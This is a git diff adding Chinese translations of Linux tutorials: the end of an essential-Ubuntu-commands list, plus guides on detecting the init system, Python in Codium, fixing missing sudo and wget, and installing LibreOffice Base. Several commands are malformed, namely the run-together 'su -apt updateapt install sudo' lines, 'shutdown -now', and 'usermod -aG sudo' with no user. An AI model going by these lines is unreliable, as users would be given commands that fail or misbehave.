的例子][52] + +推荐阅读: + +> **[Ubuntu 中的 root 用户][53]** + +#### 23、apt 命令: 安装、删除和管理 .deb 包 + +在 Ubuntu 中,`apt` 命令被用来管理软件包。你必须和 `sudo` 一起使用它,因为这些是管理任务。 + +要安装一个软件包,请使用: + +``` +sudo apt install package_name +``` + +要删除一个安装软件,请使用: + +``` +sudo apt remove package_name +``` + +要一次性用所有可升级的软件包更新你的 Ubuntu 系统: + +``` +sudo apt update && sudo apt upgrade +``` + +[apt update 和 upgrade 的区别][54] 是:`update` 会刷新软件包的缓存,而 `upgrade` 则是实际安装更新。 + +`apt` 命令还有很多内容。你可以阅读 [这个详细的 apt 命令指南][55]。 + +#### 24、add-apt-repository 命令:添加和删除 PPA + +好吧,这个命令已经不像十年前那么流行了。你仍然会在这里和那里遇到 [add-apt-repository 命令][56]。它是用来管理你系统中的 PPA(非官方的、用户生成的软件库)。 + +在跟随网络上的教程时,你可能会遇到由三行组成的安装说明: + +``` +sudo add-apt-repository ppa:dr-akulavich/lighttable +sudo apt update +sudo apt install lighttable-installer +``` + +第一个命令是添加 PPA(外部资源库)。你已经熟悉了下面两条,它们用于更新软件包缓存和安装你刚刚添加的 PPA 仓库提供的软件。 + +要删除一个 PPA,你应该首先删除你从它那里安装的软件,然后像这样删除它: + +``` +sudo add-apt-repository -r ppa:dr-akulavich/lighttable +``` + +我有一篇 [关于 PPA 的完整指南][57],可以了解关于这个主题的更多细节。 + +#### 25、snap 命令:安装、删除和管理 Snap 包 + +到目前为止,你知道 apt 软件包和它们的管理。然而,Ubuntu 也使用并积极推荐使用其 Snap 打包格式。 + +学习一些基本的 `snap` 命令将帮助你有效地管理这些软件包。 + +要找到一个软件包,请使用: + +``` +snap find search_term +``` + +要安装一个软件包,请使用: + +``` +sudo snap install package_name +``` + +要列出已安装的 Snap 应用程序: + +``` +snap list +``` + +要删除一个已安装的 Snap 应用程序,请使用: + +``` +sudo snap remove package_name +``` + +#### 26、ip 命令:检查 IP 地址和其他信息 + +`ip` 命令可以让你 [检查你的 IP 地址][58]。你还可以查看和操作路由、网络设备等。 + +``` +ip a +``` + +![ip 地址检查][59] + +#### 27、ping 命令:检查远程系统是否可达 + +`ping` 是另一个你应该知道的 [Linux 网络命令][60]。要检查一个远程系统是否可用,把它的 IP 地址给 `ping` 命令: + +``` +ping ip_address +``` + +你也可以用它来检查一个网站是否关闭,尽管现在它不是很准确。 + +![ping command ubuntu][61] + +使用 `Ctrl+C` 来停止运行的 `ping` 命令。 + +推荐阅读: + +> **[ping 命令示例][62]** + +#### 28、ssh 命令:连接到远程系统 + +我对把 `ssh` 添加到必须知道的 Linux 命令列表中持怀疑态度。许多桌面用户可能不需要它。SSH 被用于从你的终端连接到其他 Linux系统。 + +``` +ssh user@address_of_remote_system +``` + +当然,你需要知道远程系统的用户和密码。 + +如果你有云服务器或家庭设置,其中有其他 Linux 系统,你可以用它从你的主系统连接到它们。 + +#### 29、scp 命令:在远程系统之间复制文件 + +既然我在列表中包括了 `ssh`,那么包括一些 [通过 SSH 连接在远程系统之间传输文件的命令][63] 才是公平的。 + +`scp` 命令的工作原理与你之前看到的 `cp` 命令差不多。 + +下面是一个例子,它把文件从远程系统上的用户的主目录复制到你本地登录系统的当前目录。 + +``` +scp user@remote_address:/home/username/filename . +``` + +推荐阅读: + +> **[scp 命令示例][64]** + +#### 30、exit 命令:关闭终端 + +Linux 的基本命令列表就要结束了。那么让我们来谈谈退出终端的问题。这很简单。只要输入 + +``` +exit +``` + +如果你正在使用另一个用户或 Shell,你就会从那里注销。 + +你也可以使用 `Ctrl+D` 键来退出终端。 + +#### 31、shutdown 命令:关闭或重启系统 + +好了。如果你还没有退出终端,让我分享一个最后的命令。 + +从命令行中 [关闭你的系统][65] 怎么样? + +[使用 shutdown 命令][66] 来达到这个目的: + +``` +shutdown +``` + +上述命令 [安排在一分钟内关机][67]。你可以用以下方法让它立即关闭: + +``` +shutdown -now +``` + +你也可以使用同样的关机命令来 [重启你的 Ubuntu 系统][68]。 + +``` +shutdown -r now +``` + +#### 更多:man 命令:详细了解命令 + +还有一个,这也是最后一个,我保证。所有的 Linux 系统都有一个命令的手册。它被称为手册页,你可以通过以下方式访问已安装命令的手册页: + +``` +man command_name +``` + +[了解手册页][69] 对于新用户来说,可能会让人不知所措,但它却很方便。它为你提供了一个命令的通用语法和所有选项的描述。 + +当你对使用一个命令没有把握时,可以先查看它的手册页,然后再在网上搜索它。 + +### 总是有更多…… + +**这只是大约 30 个命令。而且这还不到 Linux 命令的20%**。我还没有涉及很多网络命令。我甚至没有涉及用户管理命令。 + +我在写这篇文章时,考虑到了普通的 Ubuntu 桌面用户。这些是你更可能使用的命令。从长远来看,掌握一些这方面的知识会很有帮助。 + +除此以外,学习是没有止境的。即使是最老练的 Linux 用户也会不断发现和学习新东西。 + +考虑到你对学习 Linux 命令感兴趣,让我推荐一些 [好的 Linux书籍][70] 和资源。 + +- [Linux 如何工作][71]:解释了 Linux 如何工作,而不是命令。 +- William Shotts 的《[Linux 命令行][72]》:可以合法地免费下载 PDF 格式的文件。 +- Daniel J Barrett 的《[Linux口袋指南][73]》:将 Linux 命令分为不同的类别,并通过小例子进行简单的解释。 +- [快速学习 Linux][74]:完全专注于 Linux 命令,有适当的例子和练习。 + +除此之外,你还可以从 [Linux Journey][75] 和 [Linux Handbook][76] 等网站学习。 + +**我知道你已经读了很久了**,但这还不到冰山一角。总有更多的东西需要学习,但也不是说如果你不知道所有的 Linux 命令,你就必须感到痛苦。 + +**没有人知道所有的东西。** + +现在,轮到你了。你觉得这份 Linux 命令列表有帮助吗? + +**如果你要在其中增加一些命令,会是什么?评论区是你的**。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/essential-ubuntu-commands/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://linuxhandbook.com/absolute-vs-relative-path/ +[2]: https://linuxhandbook.com/linux-file-permissions/ +[3]: https://itsfoss.com/basic-terminal-tips-ubuntu/ +[4]: https://itsfoss.com/folder-directory-linux/ +[5]: https://itsfoss.com/wp-content/uploads/2022/11/ls-command-ubuntu.png +[6]: https://linuxhandbook.com/ls-command/ +[7]: https://itsfoss.com/wp-content/uploads/2022/11/cd-command-examples.png +[8]: https://linuxhandbook.com/cd-command-examples/ +[9]: https://itsfoss.com/wp-content/uploads/2022/11/cat-command-example.png +[10]: https://linuxhandbook.com/cat-command/ +[11]: https://itsfoss.com/wp-content/uploads/2022/11/reading-large-files-with-less-command.png +[12]: https://linuxhandbook.com/less-command/ +[13]: https://itsfoss.com/wp-content/uploads/2022/11/touch-command-ubuntu.png +[14]: https://linuxhandbook.com/touch-command/ +[15]: https://itsfoss.com/wp-content/uploads/2022/11/mkdir-command-example.png +[16]: https://linuxhandbook.com/mkdir-command/ +[17]: https://itsfoss.com/wp-content/uploads/2022/11/cp-command-example.png +[18]: https://linuxhandbook.com/cp-command/ +[19]: https://itsfoss.com/wp-content/uploads/2022/11/mv-command-example.png +[20]: https://linuxhandbook.com/mv-command/ +[21]: https://itsfoss.com/wp-content/uploads/2022/11/rm-command-examples.png +[22]: https://linuxhandbook.com/remove-files-directories/ +[23]: https://itsfoss.com/command-line-text-editors-linux/ +[24]: https://itsfoss.com/vim-vs-nano/ +[25]: https://itsfoss.com/wp-content/uploads/2022/11/nano-command-example.png +[26]: https://itsfoss.com/nano-editor-guide/ +[27]: https://itsfoss.com/how-to-find-the-process-id-of-a-program-and-kill-it-quick-tip/ +[28]: https://itsfoss.com/cdn-cgi/l/email-protection +[29]: https://itsfoss.com/wp-content/uploads/2022/11/list-processes-ubuntu.webp +[30]: https://linuxhandbook.com/ps-command/ +[31]: https://itsfoss.com/linux-system-monitoring-tools/ +[32]: https://itsfoss.com/wp-content/uploads/2022/11/top-command-ubuntu.png +[33]: https://itsfoss.com/stop-program-linux-terminal/ +[34]: https://linuxhandbook.com/top-command/ +[35]: https://itsfoss.com/loop-device-linux/ +[36]: https://linuxhandbook.com/find-exec-command/ +[37]: https://linuxhandbook.com/xargs-command/ +[38]: https://linuxhandbook.com/find-command-examples/ +[39]: https://itsfoss.com/wp-content/uploads/2022/11/grep-command-examples.png +[40]: https://linuxhandbook.com/grep-command-examples/ +[41]: https://linuxhandbook.com/grep-command-cheatsheet/ +[42]: https://linuxhandbook.com/kill-process/ +[43]: https://itsfoss.com/wp-content/uploads/2022/11/find-kill-process-ubuntu-800x264.png +[44]: https://www.imdb.com/title/tt0936501/?ref_=tt_urv +[45]: https://itsfoss.com/wp-content/uploads/2022/11/taken-meme-find-you-kill-you.jpg +[46]: https://itsfoss.com/wp-content/uploads/2022/11/history-command-ubuntu-800x534.png +[47]: https://linuxhandbook.com/history-command/ +[48]: https://linuxhandbook.com/chmod-command/ +[49]: https://itsfoss.com/hardinfo/ +[50]: https://itsfoss.com/find-network-adapter-ubuntu-linux/ +[51]: https://itsfoss.com/wp-content/uploads/2022/11/lshw-command-examples.png +[52]: https://itsfoss.com/wp-content/uploads/2022/11/using-sudo-example-ubuntu.png +[53]: https://itsfoss.com/root-user-ubuntu/ +[54]: https://itsfoss.com/apt-update-vs-upgrade/ +[55]: https://itsfoss.com/apt-command-guide/ +[56]: https://itsfoss.com/add-apt-repository-command-not-found/ +[57]: https://itsfoss.com/ppa-guide/ +[58]: https://itsfoss.com/check-ip-address-ubuntu/ +[59]: https://itsfoss.com/wp-content/uploads/2022/11/ip-address-check-ubuntu.png +[60]: https://itsfoss.com/basic-linux-networking-commands/ +[61]: https://itsfoss.com/wp-content/uploads/2022/11/ping-command-ubuntu.png +[62]: https://linuxhandbook.com/ping-command/ +[63]: https://linuxhandbook.com/transfer-files-ssh/ +[64]: https://linuxhandbook.com/scp-command/ +[65]: https://learnubuntu.com/shutdown-ubuntu/ +[66]: https://linuxhandbook.com/linux-shutdown-command/ +[67]: https://itsfoss.com/schedule-shutdown-ubuntu/ +[68]: https://learnubuntu.com/restart-ubuntu/ +[69]: https://itsfoss.com/linux-man-page-guide/ +[70]: https://itsfoss.com/best-linux-books/ +[71]: https://nostarch.com/howlinuxworks3 +[72]: https://linuxcommand.org/tlcl.php +[73]: https://www.oreilly.com/library/view/linux-pocket-guide/9780596806347/ +[74]: https://linuxhandbook.gumroad.com/l/mEsrwA +[75]: https://linuxjourney.com/ +[76]: https://linuxhandbook.com/a-to-z-linux-commands/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/24/184845y5i7757o708odem7.png \ No newline at end of file diff --git a/published/202211/20221109.5 ⭐️ How to Find Systemd or Any Other init System in Linux.md b/published/202211/20221109.5 ⭐️ How to Find Systemd or Any Other init System in Linux.md new file mode 100644 index 0000000000..7741d5b271 --- /dev/null +++ b/published/202211/20221109.5 ⭐️ How to Find Systemd or Any Other init System in Linux.md @@ -0,0 +1,89 @@ +[#]: subject: "How to Find Systemd or Any Other init System in Linux" +[#]: via: "https://www.debugpoint.com/systemd-or-init/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15256-1.html" + +如何在 Linux 中确定运行的是那种初始化系统 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/15/183009zafv77ru1afwprr7.jpg) + +> 你可以通过以下方式确定你的 Linux 发行版中是否正在运行 systemd 或其它初始化系统。 + +首个进程在你启动 Linux 发行版时开始运行,它称为初始化进程 init(初始化initialization的缩写)。它的进程标识符为 1(即 pid=1)。基于 Unix 的系统中的所有进程和应用程序都是这个初始化进程的后代。 + +根据功能和特性,存在不同类型的初始化进程。例如,[systemd][1]、Runit、OpenRC、sysVinit 等。其中,systemd 是最流行和最现代的一种,被包括 Ubuntu 和 Fedora 在内的所有现代 Linux 发行版使用和采用。 + +与传统的基于 Unix 的初始化系统相比,systemd 及其性能一直存在争议。但这就是另外一个话题了。 + +让我们看看如何确定在 Linux 发行版中运行的是 systemd 还是其它初始化系统。 + +### systemd 还是其它初始化系统? + +不幸的是,没有直接的命令可以找到它。你可以从初始化进程追溯它,它基本上是到 `/sbin/init` 的符号链接,即 pid=1。 + +使用 [strings][2] 命令打印嵌入在二进制文件 `/sbin/init` 中的文本并使用以下命令搜索 `init`: + +``` +strings /sbin/init | grep init +``` + +#### 示例 1 + +在下面的输出中,它是一个运行 Debian(Peppermint OS)的 sysVinit 系统。如你所见,它清楚地显示了 `init` 进程名称。 + +``` +strings /sbin/init | grep init +``` + +![显示使用 sysVinit 而不是 systemd 的示例][3] + +如果在上述同一个系统中找 `systemd`,那么不会有任何结果。因此,你可以得出结论,你正在运行 sysVinit 而不是 systemd。 + +#### 示例 2 + +如果你在 systemd 系统中运行上述命令,你可以在输出的第一行轻松看到 systemd 及其版本。 + +``` +strings /sbin/init | grep systemd +``` + +![显示它使用 systemd 的示例][4] + +#### 示例 3 + +你也可以尝试使用 `pstree` 命令打印进程树,它应该会显示第一个进程名称。它应该是 `systemd` 或 `init`,如下例所示。 + +``` +pstree +``` + +![pstree 显示使用 systemd][5] + +![pstree 显示使用 init][6] + +这就好了。这样你就可以轻松找出你的发行版是使用 systemd 还是其他的。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/systemd-or-init/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/tag/systemd +[2]: https://linux.die.net/man/1/strings +[3]: https://www.debugpoint.com/wp-content/uploads/2022/11/example-showing-the-init-is-used-and-not-systemd.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/11/example-showing-it-uses-systemd.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/11/pstree-is-showing-systemd-is-used.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/11/pstree-is-showing-init-is-used.jpg diff --git a/published/202211/20221109.6 ⭐️ Using Python in VS Code and Codium.md b/published/202211/20221109.6 ⭐️ Using Python in VS Code and Codium.md new file mode 100644 index 0000000000..a605e375ed --- /dev/null +++ b/published/202211/20221109.6 ⭐️ Using Python in VS Code and Codium.md @@ -0,0 +1,119 @@ +[#]: subject: "Using Python in VS Code and Codium" +[#]: via: "https://opensource.com/article/22/11/python-vs-code-codium" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15261-1.html" + +在 VS Code 和 Codium 中编写 Python 程序 +====== + +![][0] + +> 如果你正在寻找一个优秀的、通用的、开源的、带有 Python 集成的代码编辑器,那么你可以尝试一下 Codium。 + +在过去几年内,我有幸和中学生们一起,并带他们入门 [Python 开发][1] 和树莓派 400。这一切都很有趣,树莓派对于学生和我来说都是一个很好的平台。我们使用了 [Code with Mu][2],并且一切都很成功。我们的 Python 技能随着经验的增长而增长,因此最近我开始寻找给这些学生提供更多东西的方法。 + +我参与了一个 Python 课程并在课程中接触了微软的 Visual Studio Code。我在课程中学到了很多关于如何为 Python 设置虚拟环境,以及如何为 Python 编程配置 VS Code 的知识。在学习过程中,我也认识了 [Codium][3],它基本上是没有微软品牌和遥测的 VS Code。 + +如果你正在寻找一个优秀的、通用的、开源的、带有 Python 集成的代码编辑器,那么你可以尝试一下 Codium。下面是我在 Linux 系统上为 Python 设置 Codium 的方法。 + +### 在 Linux 上安装或更新 Python + +首先,确保你正在运行最新版本的 Python。你可以使用你的软件包管理器来完成这项工作。在 Debian 和基于 Debian 的系统上: + +``` +$ sudo apt install python3-pip +``` + +在 Fedora、CentOS、Mageia、OpenMandriva 和类似的系统上: + +``` +$ sudo dnf update python3 +``` + +在某些系统上,你可能还需要安装创建 Python 虚拟环境的软件: + +``` +$ sudo apt install python3.10-venv +``` + +### 安装 Codium + +接下来,在你的电脑上 [安装 Codium][4]。在 Linux 上,你可以下载一个包并使用你的包管理器安装它,或者 [使用 Flatpak][5]。 + +在安装好 Codium 之后,打开你的应用程序或活动菜单,输入 `code` 以启动它。 + +### 安装 VS Code Python 扩展 + +代码其实不是什么特别的东西。它只是一些其他应用程序(编译器或运行时)解释的纯文本。你可以在 Codium 中编写 Python 代码而不需要特殊的扩展。但是,有一个 Python 扩展可以为你带来一些方便的功能。 + +点击“文件File”菜单,选择“首选项Preferences”,然后选择“扩展Extensions”。在“扩展Extensions”面板中,搜索 Python IntelliSense 扩展。 + +![VS Code 和 Codium 都有一个扩展管理器,它会在页面左侧打开,允许你安装附加模块][6] + +你已经在 Codium 中设置了 Python。剩下的就是把它用起来。 + +### 为 VS Code 或 Codium 设置虚拟环境 + +我们可以创建一个项目目录,并将其添加到 Codium 中,这样在工作时,你创建和保存的文件都将默认保存到活动项目目录。这是一种快速的管理方式,可以让你不必经常点击文件保存和打开对话框。 + +在你创建一个虚拟 Python 环境作为工作目录时,Codium 会检测到它(因为你已经安装了 Python 扩展)。当你激活一个虚拟环境文件夹作为活动项目目录时,Codium 会自动运行使用虚拟环境所需的激活代码。 + +要为 Python 创建一个虚拟环境,请打开终端并输入: + +``` +$ python3 -m venv ~/PythonCoding +``` + +### 添加项目目录 + +在 Codium 中,点击“文件File”菜单,选择“将文件夹添加到工作区Add Folder to Workspace”。打开你刚刚设置的虚拟环境(对我来说,是 `/home/don/PythonCoding`)。 + +现在你已经准备好写一些 Python 代码了!在你的工作区中创建一个新的 Python 文件并插入一些基本代码。当你输入时,你可能会注意到,Codium 会为环境包含的 Python 模块提供自动补齐建议。 + +``` +import sys +print("Codium running Python " + sys.version) +``` + +现在点击 Codium 窗口右上角的“运行”按钮。这会在窗口底部打开一个控制台面板显示你的代码的输出: + +``` +(PythonCode) sh-5.1$ /home/bogus/PythonCode/bin/python +/home/bogus/PythonCode/app.py +Codium running Python 3.10.6 (main…)[GCC 12.1.0] +(PythonCode) sh-5.1$ +``` + +就像你从输出中看到的,Codium 在 `PythonCode` 环境中运行,并成功运行了你的 Python 代码。 + +### Codium 和 Python + +使用 Codium 编写 Python 代码比以往任何时候都更容易,但 Python 并不是 Codium 支持的唯一语言。你可以轻松地从 [Open VSX Registry][7] 中找到并安装其他扩展,这是一个中立的开源 VS Code 扩展 “市场”。 + +Codium 的界面比一些基本的编辑器更复杂,但它有我在学习过程中所需要的东西。如果你需要一个更专业的编辑器,或者你想从当前的编辑器切换到新的编辑器,那么试试 Codium 吧。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/python-vs-code-codium + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/8/math-python-raspberry-pi +[2]: https://codewith.mu/ +[3]: https://opensource.com/article/20/6/open-source-alternatives-vs-code +[4]: https://github.com/VSCodium/vscodium/releases +[5]: https://flathub.org/apps/details/com.vscodium.codium +[6]: https://opensource.com/sites/default/files/2022-10/codium-extension-python.webp +[7]: https://open-vsx.org/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/17/100909py38rj0tqxlyrq0t.jpg \ No newline at end of file diff --git a/published/202211/20221110.0 ⭐️ How to Fix sudo Command Not Found Error.md b/published/202211/20221110.0 ⭐️ How to Fix sudo Command Not Found Error.md new file mode 100644 index 0000000000..2e557e41c5 --- /dev/null +++ b/published/202211/20221110.0 ⭐️ How to Fix sudo Command Not Found Error.md @@ -0,0 +1,107 @@ +[#]: subject: "How to Fix: sudo Command Not Found Error" +[#]: via: "https://www.debugpoint.com/sudo-command-not-found/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15280-1.html" + +如何修复:“sudo Command Not Found” 错误 +====== + +![][0] + +> 以下是你如何在 Debian、Ubuntu 和其他发行版中修复 “sudo command not found” 错误的方法。 + +有时,当你第一次设置或安装 [Linux 发行版][1] 时,你在用 `sudo` 尝试一些命令时,会出现 “sudo command not found” 的错误。 + +`sudo` 命令是 “superuser do” 的缩写,它是一个允许用户以管理员权限执行命令的程序。`sudo` 命令帮助你像管理员用户一样运行程序/命令。 + +此外,用 `sudo` 运行命令的用户必须是 `sudo` 组的一部分。 + +你看到这个错误的主要原因是该软件包本身没有安装。然而,大多数现代 Linux 发行版都默认提供了这个功能,但有些则没有。 + +下面是解决这个问题需要遵循的步骤。 + +#### 故障排除 #1 + +首先,安装 `sudo` 包来解决这个问题。打开一个终端,刷新你的系统,并运行以下命令来安装 `sudo`。 + +对于 Ubuntu、Debian 和相关发行版: + +``` +su -apt updateapt install sudo +``` + +对于 Arch Linux: + +``` +pacman -S sudo +``` + +对于 Fedora、RHEL 等: + +``` +su -dnf updatednf install sudo +``` + +上述安装完成后,你必须使用以下命令将用户添加到 `sudo` 组中。 + +``` +usermod -aG sudo +``` + +然后从终端运行 `visudo`,并运行以下行。按 `CTRL+O` 和 `CTRL+X` 来保存和退出。 + +![使用 visudo 更新 sudoers 文件][2] + +退出并再次登录使变化生效。 + +#### 故障排除 #2 + +在做了上述改变之后,如果你仍然收到错误信息,那么请按照以下步骤操作。 + +确保你的 `$PATH` 变量包含 `sudo` 可执行文件的正确路径。如果 `sudo` 已经安装,但 `$PATH` 不正确,你也会得到这个错误。理想情况下,你的路径应该包含以下所有的路径。 + +``` +echo $PATH +``` + +``` +/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin +``` + +要改变路径变量,使用以下命令。例如,如果 `/usr/bin` 不存在,那么你可以通过以下方式添加它。 + +``` +export PATH=$PATH:/usr/bin +``` + +然后注销并登录查看效果。 + +### 总结 + +我希望这个指南能帮助你解决 Linux 发行版中的 sudo 错误。表面上的解决方案很简单,真的。 + +如果有帮助,或者如果你有任何问题,请在下面留言。 + +> **[参考][3]** + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/sudo-command-not-found/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/category/distributions +[2]: https://www.debugpoint.com/wp-content/uploads/2022/09/Updating-the-sudoers-file-using-visudo.jpg +[3]: https://linux.die.net/man/8/sudo +[0]: https://img.linux.net.cn/data/attachment/album/202211/23/095652r00yigyouzgo838c.jpg \ No newline at end of file diff --git a/published/202211/20221110.1 ⭐️ How to Fix bash wget Command Not Found Error.md b/published/202211/20221110.1 ⭐️ How to Fix bash wget Command Not Found Error.md new file mode 100644 index 0000000000..a5e7f9cc32 --- /dev/null +++ b/published/202211/20221110.1 ⭐️ How to Fix bash wget Command Not Found Error.md @@ -0,0 +1,120 @@ +[#]: subject: "How to Fix: bash wget Command Not Found Error" +[#]: via: "https://www.debugpoint.com/wget-not-found-error/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15274-1.html" + +如何修复:“bash wget Command Not Found” 错误 +====== + +![][0] + +> 以下是你如何在 Debian、Ubuntu 和其他发行版中修复 “bash: wget command not found” 的错误。 + +著名的 `wget` 工具被用来通过终端从 URL 下载任何文件。它是 Linux 终端中最流行和最快速的工具之一。 + +作为一个 GNU 工具,`wget` 带来了一些奇妙的功能。你可以实现各种目的,如从网上提取信息、下载文件、暂停/恢复等。 + +然而,许多 [Linux 发行版][1] 在默认安装时并没有附带这个工具。因此,当你想用 `wget` 下载一些文件时,你会得到 wget 命令未找到的错误。 + +修复它其实很容易。 + +### 修复 wget 命令未找到 + +你所需要做的就是打开终端,运行以下命令来安装 `wget`。 + +对于 Ubuntu、Linux Mint、elementaryOS、Debian 和相关发行版: + +``` +sudo apt install wget +``` + +Arch Linux: + +``` +pacman -S wget +``` + +对于 Fedora(虽然它默认包括): + +``` +sudo dnf install wget +``` + +安装后,你就可以使用 `wget` 程序了。你也可以通过检查其版本来验证它是否正确安装。 + +``` +wget --version +``` + +### 如何使用 wget + +下面是一些关于如何使用 `wget` 的例子。 + +命令的语法如下: + +``` +wget [选项]… [URL]… +``` + +例如,如果我想下载 Ubuntu 的 ISO 文件,那么我可以运行下面的命令,用 URL 直接下载。 + +``` +wget https://releases.ubuntu.com/22.04.1/ubuntu-22.04.1-desktop-amd64.iso +``` + +![如何使用 wget 的例子][2] + +同样,你也可以使用上述命令下载,或者,通过下面描述的几个开关组合。你也可以通过 `wget --help` 命令得到这个: + +- `-t, --tries=NUMBER` 设置重试次数为 `NUMBER`(0 为不限) +- `--retry-connrefused` 即使连接被拒绝,也要重试 +- `--retry-on-http-error=ERRORS` 逗号分隔的 HTTP 错误列表,以便重试 +- `-O, --output-document=FILE` 将文件写入 `FILE` 中 +- `--nc, --no-clobber` 跳过那些会下载到现有文件的下载(即覆盖它们) +- `--no-netrc` 不要试图从 `.netrc` 中获取证书 +- `-c, --continue` 继续已部分下载的文件 +- `--start-pos=OFFSET` 从 `OFFSET` 位置开始下载 +- `--progress=TYPE` 选择进度条类型 +- `--show-progress` 在详细模式下显示进度条 +- `--N, --timestamping` 不重新获取文件,除非比本地文件新 +- `--no-if-modified-since` 在时间戳模式下不使用条件性的 `if-modified-since` 获取请求的资源 +- `--no-use-server-timestamps` 不以服务器上的时间戳来设置本地文件的时间戳 +- `--S, --server-response` 打印服务器响应 +- `--spider` 不下载任何东西 +- `-T, --timeout=SECONDS` 设置所有的超时值为 `SECONDS` 秒 +- `--dns-timeout=SECS` 将 DNS 查询超时设置为 `SECS` +- `--connect-timeout=SECS` 将连接超时设置为 `SECS` +- `--read-timeout=SECS` 设置读取超时为 `SECS` +- `--w, --wait=SECONDS` 在两次检索之间等待 `SECONDS` 秒(适用于检索的 URL 超过 1个) +- `--waitretry=SECONDS` 在检索的重试之间等待 1 到 `SECONDS` 秒(适用于检索的 URL 超过 1 个) +- `--random-wait` 在两次检索之间等待 `0.5WAIT` 到 `1.5WAIT` 秒(适用于检索的 URL 超过 1 个) + +### 总结 + +我希望这个指南能帮助你解决 Linux 发行版中的 `wget` 错误。显然方案是非常简单的。 + +如果有帮助或者你有任何问题,请在下面留言。 + +> **[参考][3]** + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/wget-not-found-error/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/category/distributions +[2]: https://www.debugpoint.com/wp-content/uploads/2022/09/Sample-example-of-how-to-use-wget.jpg +[3]: https://www.gnu.org/software/wget/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/21/095343hnxjfinvbpzf2x5f.jpg \ No newline at end of file diff --git a/published/202211/20221111.0 ⭐️ How to Install LibreOffice Base Database in Ubuntu and Other Linux.md b/published/202211/20221111.0 ⭐️ How to Install LibreOffice Base Database in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..c30fbaca71 --- /dev/null +++ b/published/202211/20221111.0 ⭐️ How to Install LibreOffice Base Database in Ubuntu and Other Linux.md @@ -0,0 +1,68 @@ +[#]: subject: "How to Install LibreOffice Base Database in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/install-libreoffice-base-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15283-1.html" + +如何在 Ubuntu 和其他 Linux 下安装 LibreOffice Base 数据库 +====== + +![][0] + +> 以下是如何在 Ubuntu 和其他 Linux 发行版中安装 LibreOffice Base 数据库模块。 + +流行的自由开源的办公套件 LibreOffice 由六个独立的组件组成。然而,Ubuntu 和相关发行版中默认安装的 LibreOffice 只包括其中的五个: + +- Calc +- Writer +- Impress +- Draw +- Math + +由于某些原因,数据库模块 LibreOffice Base 没有被包括在内。所以,这里告诉你如何在 Ubuntu 和其他发行版中单独安装它。 + +### 在 Ubuntu 和其他 Linux 中安装 LibreOffice Base + +你可以使用 “软件Software” 应用或终端来安装 `libreoffic-base` 包。我建议使用终端来安装它。打开一个终端窗口,运行以下命令来安装它。 + +``` +sudo apt install libreoffice-base +``` + +如果你喜欢 “软件Software” 应用 或其他基于 GUI 的安装程序,搜索 “libreoffic-base” 并点击安装。 + +对于 Fedora 和基于 RPM 的发行版,使用以下命令: + +``` +sudo dnf install libreoffice-base +``` + +如果你在 Arch Linux 中安装了 LibreOffice,无论是 [libreoffic-fresh][1] 还是 [libreoffic-still][2],那么就不需要任何操作了。LibreOffice Base 